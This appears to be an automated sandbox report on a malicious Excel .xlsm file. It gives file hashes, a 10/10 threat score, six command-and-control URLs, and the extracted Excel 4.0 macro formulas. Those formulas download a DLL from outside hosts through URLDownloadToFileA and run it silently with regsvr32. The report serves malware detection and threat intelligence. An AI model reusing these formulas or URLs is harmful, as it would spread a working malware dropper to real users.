General

  • Target

    ?i=1nyaiveov

  • Size

    46KB

  • MD5

    969869a41c8f52fc0853eaaba007be0f

  • SHA1

    7d1c58a56647a9f3ede204d60fa0e6813d1ad8d1

  • SHA256

    dcc6409e704780116523a3e6ca35edf1399b381568d26b6d0373d1d9e00be491

  • SHA512

    c4a1a7ff06d4b59ed39640ca213bc1640907b304b613e47b9fe3561cd7caf6acb4f0c9a0fe19c9bb79b86dcbcae51bebec1831c732396cb1294b2860bd387c86

  • SSDEEP

    768:smBlntZhEI2YmxNskmoKjBvK3HqK88F/G6YzATUfJnXYS6oRM:tBlntTEvDLmXi3JvG6YzATOJnXYSXRM

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://eles-tech.com/css/KzMysMqFMs/

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

https://txpcrescue.com/cgi-bin/5tSO8/

http://hadramout21.com/jetpack-temp/Py/

http://haribuilders.com/zoombox-master/4HYGX/

http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • ?i=1nyaiveov
    .xlsm office2007